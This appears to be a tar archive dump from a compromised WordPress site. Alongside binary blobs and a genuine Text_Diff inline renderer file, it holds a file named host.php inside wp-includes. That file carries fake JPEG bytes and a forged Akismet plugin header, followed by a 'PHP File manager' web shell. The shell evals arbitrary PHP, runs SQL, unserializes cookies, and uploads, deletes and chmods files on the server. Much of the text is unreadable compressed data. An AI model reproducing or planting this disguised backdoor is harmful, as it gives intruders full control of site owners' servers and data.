am_	vj17\;؎˒PI@>q5ؐGdyl:"KtŸD稗I*Pz[o=dC` ڤ<3kfaR,Q QsVHLN%'I[VQtݯ)F|F̚v >|4хq8"VfM u ~QHJҥDI,c:q9p8@S?TrX+<8~G6)#rG3X^KCZzT6Г[0hM:Z3cnvtߢ&^'@uN	;)@ju'0}Bg*Ň-O'D ]s=j'W`hb/<P8}HNqr>2ƣm@(6b-7}^w E0n@dPp&jEA̘*z_}Gp?d$c^	MH&#2e3TKZlXu15ڇ=2OU:^K0ut`J?Аp	F֠IJHẒbSf* kOh3hv:  )LTgHߌyk[3DoUhkШ&R ԁm=}H	]K[ALԈ&u4)#pdj9Mk(۔sVzҚI[3^yDYƈR]!DbvV樇h!z-^%^,GdjlZƁ^^=&I#>7Vi'4h:zĴxљZ
ņ~Rz35WLI?$I'#C|*2_|/e׿&m\                                                                                                                                                                                                                                                                                                                                                                                                                                 Renderer.tar                                                                                        0000644                 00001214000 15212004206 0007010 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       inline.php.php.tar.gz                                                                               0000644                 00000003354 15212004204 0010520 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             XoFϲ%P:ЂTBPS5unܝ㴴t/~HW|M3Ig?S7Jf!\n(dNb-/tp_6'22VwWxrpod<>?>x|FW"JbdOЃwo{=N]"sm]$LFd4\	암MtR;C.a!$,9,hHɫߏ_>GXL2|Zrg'/!/`n(c@¤C,1
#.p0\~"QX'4gp#~N7#?!SYoݎ2Zlpz?xqG?*Y@Pt5_SsUdJ+k2UVhBmSzFܠ42m=pߴOʩ/7B)[BDJ*C$HL9fT9s_,޹Wy!zaQix_*̉ zb
ZR tW$"tC|<yI+6HYE9	x!eU/|BcUUkk<+aB]&VY0;]Lo1B*aSI $$le<pX^s1i) X|d1H7=TGP'˺vSH5r4YC|,g7 h8a	tG15{3C"$6	%s4' 2zjNC|t!V9R?([`#vS-KVBtvv©Vx}Gk3LL;3F,3m:
g]T@U-P=W8
Vs2Tmf0Gߍ>sCT<E\ LwE_=&t$DuvPV(R9XgJ=|k0qEs,(æ=5u!hV᰺
}ċ]oyE*GJ]R8O	N5,f1niMKU1qCm4"beMk;JF%2fwdhRW̰0}ahrIBUvm\ʇ-6)>Khs@9i4F֏M{ L^gacywߏ˺M?[QJGy-sbbLC{.3r]kQ/A0aZj[Csl3YxY/tD	3iW{*$2Y#AㅛYn凡jcuQ gWNX|zn+v$k*xPcA<#RBճovs~io޼7ĶM^$K"O0ױ}JVB[pxz<(H	+Ux"tVy`'	P	!IG?[Sꚛ-@ԒqGD./)puyJil>H^rAJ1/rx5,h\QJ)8Tj͊)˸6++%uq$tT˛yc4jTLH)rF+eF8bvއ
C#_]ʾ>F`<좆9]8b>lYYGM}h/Ը[4hI[N&{^h;"ӌ8gnlD_;zJx[ַ_/G3                                                                                                                                                                                                                                                                                       Engine.tar.gz                                                                                       0000644                 00000017075 15212004204 0007100 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =v8@2:m)%˹/dwO$}!	6EjHʒ2*\$;\K P(
uCZb8Nz<>pw.?~q2,˃}>ݿgϣ ,!q8%;_$,OX0gT6H&YY>9(B{n,26p2K68ϧ{ޔ"nz٣-]{) sc*	 X <.S1Yk{wr$9;N>.;7$Z
[.^)3g_wl,g0o I̚/;~l aIR>
aVe`%t P{hmn{zhOY2q
@"<j"?i9A(ɉ۝;	|>+54E*Fȏ-7y]e갭<W|N5Z}/ц 2C|0	ˠ}<hR%)iAiW9Y21FIț0k z.r)l5nA(Fl6c9SơB̚@Yұ YBg ^]d6˒3<ńwB3	XŒ0)-RʃI-"r6)H)b(!9Mf9N|s>18,Ckcr- ֫dccK⭜+4b[܄<GIsG<gC"" |)]0`H @AZLAIG賠}a,QĀC-ZڀHƢs.p" "X0liBb x'{>T! ѱd c$A!kxܔ5x7o\B99- ;^)#A49 *wXeà/%Rtܾf5y\|bb>(<[և֦ѿœy3<1V-QLؕ_AG@di "fOIq0	DtBEn}}YДT= 06*Hm<R*HX y2pȶ~7$8bni<%Z2|HN6zᕧ-D4I,c xOLVըYr\ܦ	G	
"5MF<o^x
=vD()G _ AC0@ѮT4a.LKaq0i< Cv6)TmB]k8OJP5u})\ѓ{\BCw 82o),:hyW2Y<"Tl~WY^sƜ:jlҢY y._T|ϿB<T+rd)|n;v|<<vE43PNj~סo'A88ml)w㐴AP9ѻo^Xu2vۉ,㹪|Ƞ 2UW<]R 5Qv< *b/ lrc{0C?̂6gW+~"0,YYqXt/=T0Y6nʵҩTǿfU%夸MQR6fZhDkgU?4u&=9̔kU~wn_'V1m	r{Oz~axԯ=P+.FH͗,r2e3BxR{jOTܻNG=QY[XdY!17QWQkC.SINko:}e7/fW*+NG4N$|->
O9E%jKƀqT,r$,MΡT{=Ew3Ɉ|֜y`L,<Az}xASW
a_5
y)@^59TNM0l,dx!3C4spH(,.[oZ#g7ƁǸa<~s>2Rn }ǉ)F8)_'ֹT`h!/uhL1AbӍ)u(AXP?#q5lѥ*o"SYܒjK5K+oԋ3'ޔ9ƿyew'|ܒXCk#dʌoCX5cֲ-eHB/IXql@6͗SNSgSQ[@D ʙe Ö	+Dd쉺}E4~Zme{Pמ zVm*shtK̔!]:Ɨ+-5_&	>4٤Xm &=ROo,=`!:C^2s̬(>GaQ}ǤMLwu/)h
X`Pꀒy3%,hSrR`Spn^uR;$&:l!F
B4=]֋u}+^hqK5Ur|^i6ERfid~%)UCNFPʄUIl6tpEEȥ˅NzQ6cHZoa_5{lAfk)-. A|\l
:8;sd$w KiH{v-fSJDL3R1	,a}cY*N^VY*FMG[Z(k@Yz}u}V3̒϶TD@s1ag{{.J5lq;qex?e&V;{"%uP6EGbAIOqDZU-}ץ܀<TE\+tu[ǰ=-IW @5fd v}hQ)An]tõPVuҹ!(dFOhh_bbZV_]W3iL}.Hm|Kx#E'sY_IV9`PɁh%őTRoUҔYՏ6b-v۳
d袮Q5{JX+13_E-&=Vaq+gDXEfjW)e Q hGAG1rAU\Yއy0h^5HjԩOTe-JyǩgwfCa4N4[]i*(+NnNeԌ֙3b^Ԏⳍfe 0-tK4~z_JZ+ѡiurn-٘ZTZ6 Xe>94-XlL|@|noF<+}4~H4l7:"K˵XjK{FCƾ7[7gCOf5dxSKgy ?}|f4!`S̞	肼B2;1욢gA4JR'6IzP:i
?ӍO3V;[8WIU "<ʂ2t.`	02%뉰W3nc[aBE@xR Yt\Ľ~wvwH'a6ˀ
=!5[^X ӸVՏx5fmeۻݯ55T#\CpB]Kαg]XSBq%hVp>W~n^ K2(ǃ#Cpr`.{T\O_>;6#inHdC9 ')sN8D"Za0Et!6&/RAys6P}t-]\j/D\S)_UʢAs	CA}Vu|Ux=WE%ˢWW*؆,U*b:Q*+սZ&trH]5Josno0GΰH̸P剪nZsqBN)Ɛ_R+V(X%M=/)O~* 66|)g4\
臰=[~e fH^"Jn8(CHeV4UXնeM<8'e
?:\.fd;ʫ*2c;
ioxXciql` HVYz}i&leTd[ٴ^CBԱH}%$	B))"T(.Z%iOtmv:?ܲw)񪖪³OA:+KxnV8~<[.Yo)ܽt.rx;\T X+n\9}P5YLX0*{Y=~ntG-\Ƃwz"br˷.-`|mGS"7iQ0_ƾYcooDsZHG,1U:|v@=qzt$REƶu>LLW~)Ay/2^+^ :z.mͷs3<-K3v4_~C{,g懲. u!@h 2A]#iUeK{9j:& ZG`)$Qb%Cd\§݇1 e0D47eSEu'*laN&Qz5sm=|zo߷7Q>TܥnKqXCw%AhHrZNOԀO|}&N2)hq;	:"[g`x ..oi4
MsnY]V![^(7./#SݮS;J5eMY(
NF-"r5R~Y|YY4dʙ1$}+h\-2o-~k"/v³J߃7.|J8*gc<̓l10ElFhJ")΂QקD|LH>W/M['} GNZj{X,7âBY)DrNvNnˉ3hH]ٸmBUEj<="?󁁡jzM:SpơE}Y3-G3qX
jPST&I	:$c$Zx n^!]|N0Rl<q-c)۳\T^ZĆ_W\CAc\%a;de<~1[1*y)סk^`P,=ўz/eD}!6oTF?+s-nL]hY>r0kgkʦe~@Qyo+&إD5<Z)FŔ_di.Kj.U4WV.Osm_f|)wZ
LlzO*󅬶FbTiYJEŖS6D@_S+4Hc(4S P֒7}X;z0DlIi]U#0Ny1ڞԯHhk %!+"zn[NY|Pt6߂_4$j>mUWIJI
k՟XW60@VX#Us~LFoWc4A(ҁ~*b;Tu+42!&̅\AFo՝vD6ɬriDRn#&<ub1@RB`K!xW2 bH7̊;%FrXbBG0 NT_XI0/,:u!gQdG$4vޡ~CIp`}ú8A/.,:&	6(r`w:Ɔ"8P^UvU^[VTm}I*[ ec
NU4ʘP2p48'JhTvf4HGn\t
aPt	Mne3{^Opl,W<a$dsV_ANDr`	zQkIhvtH3C
_w+z H͆=aV`Y~iB<`
~ފ?q]Kr`R(*SOۊk`|'ko3/mXԸ.'q:Êh3묎,\Ƞ+ZrɦirG|\}*tS.e9ٯd]MiK-c\	*?OsC5JPxg!RYOo)QbDJ.s5{OfL qv bР
T,MkEqHۆ9⪯J2%6h0Nb0b3fJf_ѵPՍ AS#Jq}s$9?~wkѯ*C{ bՏnRq¨dI|"ÊSJkh+JQF4Ft#y4HS\['09;b/A<]rNw⮾8kЭr[PٲeHt/j㉗ìN.>V>]]89KȦ-+ I@y10Zv24wd˔[}\}|)XME1zcY5-h#{ɧ8<Cd;ju/*Y:@@5ӂZE1ncq˱:m(Z
;`6=$0Ip'P\V!JU5LO]z{:W*v߫, 7{8Em.GhG)xt(h}=1{xFߧB
O$\2%CG}HA!51:>?UC/0:?bb.jGd'lf\'SUX'a|Dj"ne3G%7S*/O}d^#JU~o#t%n$?z-o=~R?h᳸ECue*5ذ6e%_DLa8.	҆ΛWk"e	IeU>Lk@a^¢>PRBHqP"V[!>h2&Q>E7r:MyU6}$,mロO>+K%
ynF_>Y|Dzm|nhzsݎ~\\f3]8c;\;7M&,6d3xxb-m2hjuJ:	27Qpӗ[!<_/ϗ疞Ϛ                                                                                                                                                                                                                                                                                                                                                                                                                                                                      inline.php.tar                                                                                      0000644                 00000016000 15212004204 0007303 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/inline.php                                 0000644                 00000012630 15211651624 0021415 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        error_log.tar.gz                                                                                    0000644                 00000001700 15212004204 0007651 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             OO09SHcqvvBhiBnpliROY}$%?,'PyKZR?Ԣm~aVu/vuZy5.?}9t}[mjGOi$IǥLT&Ga$'4ǣ0N!>Uk.k1_exqO#M(⩸|M\|_T["eoZUZVC_A\߮hjQ\tnosuBڈf>t=ZU6EYiQUb[L|? rUM/fZ}dnEn'
BUy1?ks[	8/{!L"އ$KCxF23$z)^:`M39)>C@saLIv
QN^|j$>Cb0o(u΄ϐg:;};$k#p/h}p3씕	!	N!u9F23$)4G>8y~#p=u?o|p&Sv&|$\?;Ձ('oİSV&|$\O;ԁ('/g?;>C'/u?;>Cow$>C@sZ	!	Nq\Kꃝ7$5
>C@sv$>Cb\p~|}p&;eegHSHh}p;eggHSPh}7
0RV]LIu4G>Xx,3.&|.\VGb!wLmLӳЧI{0+B"O	l#$-ԯ	{pWycfKyq|b8r;]Z/nfu޿^k3z;da^-.aa<g~ ^                                                                  host.php.tar                                                                                        0000644                 00000242000 15212004204 0007003 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php                                   0000644                 00000236720 15211651622 0021122 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+



-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
.....................................................................................................................................<?php
/**
 * @package Akismet
 */
/*
Plugin Name: Sid Gifari SEO Code Uplaoder
Plugin URI: 
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.4
Requires at least: 5.8
Requires PHP: 7.2
Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team
Author URI: 
*/

		/*  %s: Title of the post the attachment is attached to. */
		

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

Copyright 2005-2025 Automattic, Inc.
*/

?>
.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
